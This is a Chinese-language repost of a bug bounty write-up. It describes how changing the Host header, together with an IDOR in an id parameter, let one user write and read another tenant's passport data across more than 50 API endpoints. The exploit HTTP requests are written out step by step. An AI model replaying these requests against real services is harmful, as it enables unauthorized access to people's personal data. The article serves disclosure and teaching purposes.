技术干货:详解HostHeader导致的逻辑越权与防护方案

admin 2026-02-10 14:04:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了Host头篡改导致的逻辑越权漏洞。在多租户架构中,攻击者通过修改Host头将请求路由至其他用户子域,配合IDOR漏洞实现跨租户数据写入与读取。漏洞暴露了50多个API端点及关键PII数据。修复方案应严格校验Host头与认证令牌的匹配关系,避免仅依赖Host头进行路由决策。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,应用安全,实战经验


cover_image

技术干货:详解 Host Header 导致的逻辑越权与防护方案

原创

Pwn1 Pwn1

漏洞集萃

2026年2月10日 09:24 山东

免责声明 本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。

来源:

https://medium.com/@gkhck496/multi-tenant-authorization-bypass-via-host-header-manipulation-53e350b11468

在测试一个私有漏洞赏金计划时,我遇到了一个 IDOR 漏洞。乍一看,这似乎是一个简单的 IDOR 漏洞,我可以操纵 id 参数并将数据写入其他用户的记录。然而,系统处理子域名的方式存在异常。

每个用户都有一个专属的子域名

user1.domain.com → userId = 1234
user2.domain.com → userId = 4321

用户可以通过一个接口添加护照信息。此操作只能在提交后执行一次,数据无法修改。

添加护照信息的正常请求示例

POST /api/v3/passport/addPassport
Host: user1.domain.com
Authorization: <user1's sessionId>

id=1234&passportNo=00000000000&name=Test&address=Test+test+test+5

响应:

201 Created

然后可以使用以下方法检索已存储的数据:

GET /api/v3/passport?userId=1234
Host: user1.domain.com
Authorization: <user1's sessionId>

响应:

200 OK
{data}

尝试 IDOR 攻击(最初看起来有效)

为了测试 IDOR,我修改了 id 参数,将其从 1234 改为 4321

POST /api/v3/passport/addPassport
Host: user1.domain.com
Authorization: <user1's sessionId>

id=4321&passportNo=00000000000&name=Test&address=Test+test+test+5

响应:

201 Created

请求已被接受,并返回 201 Created,表示已成功创建 userId=4321 的护照信息。

从同一子域检索数据:

GET /api/v3/passport?userId=4321
Host: user1.domain.com
Authorization: <user1's sessionId>

响应:

200 OK
{data}

这里存在一个问题:虽然使用另一个用户 ID 成功处理了请求,但这并没有影响用户 2 的请求。数据似乎只存储在发出请求的同一子域名下

GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user2's sessionId>

响应:

404 NOT FOUND

这是一个影响有限的 IDOR 漏洞。要展示其真正的安全影响,我需要提升权限,并能够将这些数据写入另一个用户的子域。

进一步利用

方法:

我唯一做的就是把 Host 请求头改成了 user2 的域名。就这么简单。

POST /api/v3/passport/addPassport
Host: user2.domain.com
Authorization: <user1's sessionId>

id=4321&passportNo=00000000000&name=Test&address=Test+test+test+5

响应:

201 Created

然后用 user2 的会话验证:

GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user2's sessionId>

响应:

200 OK

搞定了!

如果我能修改 Host 请求头并成功发送此请求,那就意味着同样的方法适用于所有 API 端点。这对公司来说是一个严重的安全漏洞

甚至用 user1 的会话直接读取 user2 子域的数据也成功:

GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user1's sessionId>!!!

响应:

200 OK

该漏洞允许不受限制地访问每个子域中的所有 API 端点,暴露了 50 多个端点,其中包括处理关键 PII 的端点。

时间线

  • 已报道:2026 年 1 月 8 日 下午 5:17(UTC)
  • 获得巨额赏金:2026 年 1 月 8 日 晚上 8 点(UTC 时间)
  • 已解决:2026 年 1 月 8 日 晚上 9:34(UTC)

谢谢你!

觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!

👉 往期精选

注册功能漏洞检查清单

一种利用 HTTP 重定向循环的新型 SSRF 技术

API 渗透实战:从 JSON 响应倒推隐藏的高危路由

使用 Frida 在运行时拦截 OkHttp – 实用指南

一种利用 HTTP 重定向循环的新型 SSRF 技术


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:漏洞集萃 Pwn1 Pwn1《技术干货:详解 Host Header 导致的逻辑越权与防护方案》

评论:0   参与:  5